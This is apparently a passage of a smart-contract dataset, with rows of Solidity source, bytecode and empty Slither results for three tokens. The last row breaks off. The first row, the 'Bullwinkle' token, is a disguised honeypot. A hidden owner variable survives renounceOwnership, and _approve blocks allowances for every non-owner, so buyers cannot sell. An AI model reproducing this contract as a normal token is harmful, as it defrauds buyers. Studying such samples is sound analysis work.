address
stringlengths
42
42
source_code
stringlengths
6.9k
125k
bytecode
stringlengths
2
49k
slither
stringclasses
664 values
id
int64
0
10.7k
0xae5ef591bc22c8de4feeb302d8a5372580cfbc34
/* $Bullwinkle Is upcoming ERC20 Token set to take over ethereum blockchain by rewarding it holders with massive utilities. It worth keeping eyes on this one there’s more to come. HIGHLIGHTS 📍P2E Metaverse 📍NFT Marketplace 📍BWK Staking 📍Buy back and Burn 📍Charity Donations 📍Community giveaways Tokenomics Supply: 1500000000000000000 Burn🔥 : 500000000000000000 Max wallet: 9000000000000000 Buy/Sell Tax 14% $ BWK Rewards: 2% | Developer/ Dev 2% | Marketing: 6% | Liquidity: 2% | Charity: 2% */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract Bullwinkle is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1500* 10**11* 10**18; string private _name = 'Bullwinkle ' ; string private _symbol = '$BWK ' ; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220bf8bb1e3885267e6557256579d94d64d7e01bfad02605774707f6da1e5863d3764736f6c634300060c0033
{"success": true, "error": null, "results": {}}
500
0x7a05dadc16416402302fe5fa219b350f5be4e0fd
pragma solidity ^0.4.24; // File: node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: node_modules/openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: node_modules/openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: node_modules/openzeppelin-solidity/contracts/token/ERC20/BurnableToken.sol /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } // File: node_modules/openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: node_modules/openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: node_modules/openzeppelin-solidity/contracts/token/ERC20/StandardBurnableToken.sol /** * @title Standard Burnable Token * @dev Adds burnFrom method to ERC20 implementations */ contract StandardBurnableToken is BurnableToken, StandardToken { /** * @dev Burns a specific amount of tokens from the target address and decrements allowance * @param _from address The address which you want to send tokens from * @param _value uint256 The amount of token to be burned */ function burnFrom(address _from, uint256 _value) public { require(_value <= allowed[_from][msg.sender]); // Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted, // this function needs to emit an event with the updated approval. allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); _burn(_from, _value); } } // File: contracts/NexexToken.sol contract NexexToken is StandardBurnableToken { string public name = "Nexex token"; string public symbol = "NEX"; uint8 public decimals = 18; constructor() public { totalSupply_ = 200000000; balances[msg.sender] = totalSupply_; } }
0x6080604052600436106100c45763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100c9578063095ea7b31461015357806318160ddd1461018b57806323b872dd146101b2578063313ce567146101dc57806342966c6814610207578063661884631461022157806370a082311461024557806379cc67901461026657806395d89b411461028a578063a9059cbb1461029f578063d73dd623146102c3578063dd62ed3e146102e7575b600080fd5b3480156100d557600080fd5b506100de61030e565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610118578181015183820152602001610100565b50505050905090810190601f1680156101455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015f57600080fd5b50610177600160a060020a036004351660243561039c565b604080519115158252519081900360200190f35b34801561019757600080fd5b506101a0610402565b60408051918252519081900360200190f35b3480156101be57600080fd5b50610177600160a060020a0360043581169060243516604435610408565b3480156101e857600080fd5b506101f161057f565b6040805160ff9092168252519081900360200190f35b34801561021357600080fd5b5061021f600435610588565b005b34801561022d57600080fd5b50610177600160a060020a0360043516602435610595565b34801561025157600080fd5b506101a0600160a060020a0360043516610685565b34801561027257600080fd5b5061021f600160a060020a03600435166024356106a0565b34801561029657600080fd5b506100de610736565b3480156102ab57600080fd5b50610177600160a060020a0360043516602435610791565b3480156102cf57600080fd5b50610177600160a060020a0360043516602435610872565b3480156102f357600080fd5b506101a0600160a060020a036004358116906024351661090b565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103945780601f1061036957610100808354040283529160200191610394565b820191906000526020600020905b81548152906001019060200180831161037757829003601f168201915b505050505081565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b6000600160a060020a038316151561041f57600080fd5b600160a060020a03841660009081526020819052604090205482111561044457600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561047457600080fd5b600160a060020a03841660009081526020819052604090205461049d908363ffffffff61093616565b600160a060020a0380861660009081526020819052604080822093909355908516815220546104d2908363ffffffff61094816565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610514908363ffffffff61093616565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60055460ff1681565b610592338261095b565b50565b336000908152600260209081526040808320600160a060020a0386168452909152812054808311156105ea57336000908152600260209081526040808320600160a060020a038816845290915281205561061f565b6105fa818463ffffffff61093616565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600160a060020a03821660009081526002602090815260408083203384529091529020548111156106d057600080fd5b600160a060020a0382166000908152600260209081526040808320338452909152902054610704908263ffffffff61093616565b600160a060020a0383166000908152600260209081526040808320338452909152902055610732828261095b565b5050565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103945780601f1061036957610100808354040283529160200191610394565b6000600160a060020a03831615156107a857600080fd5b336000908152602081905260409020548211156107c457600080fd5b336000908152602081905260409020546107e4908363ffffffff61093616565b3360009081526020819052604080822092909255600160a060020a03851681522054610816908363ffffffff61094816565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a03861684529091528120546108a6908363ffffffff61094816565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60008282111561094257fe5b50900390565b8181018281101561095557fe5b92915050565b600160a060020a03821660009081526020819052604090205481111561098057600080fd5b600160a060020a0382166000908152602081905260409020546109a9908263ffffffff61093616565b600160a060020a0383166000908152602081905260409020556001546109d5908263ffffffff61093616565b600155604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518281529051600091600160a060020a038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350505600a165627a7a72305820edf03ee4f50f63d81c53685c82725f09631679298b220ada0c11c9c78a8849f50029
{"success": true, "error": null, "results": {}}
501
0xd4e8893237771b58b928bf602d5f5aafb67e9377
/* Bunny Rocket Total 10 000 000 000 Burned 30% 2% reward 0 tax (\_/) ( •_•) / >Rocket https://t.me/BunnyRocketERC */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ETHereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 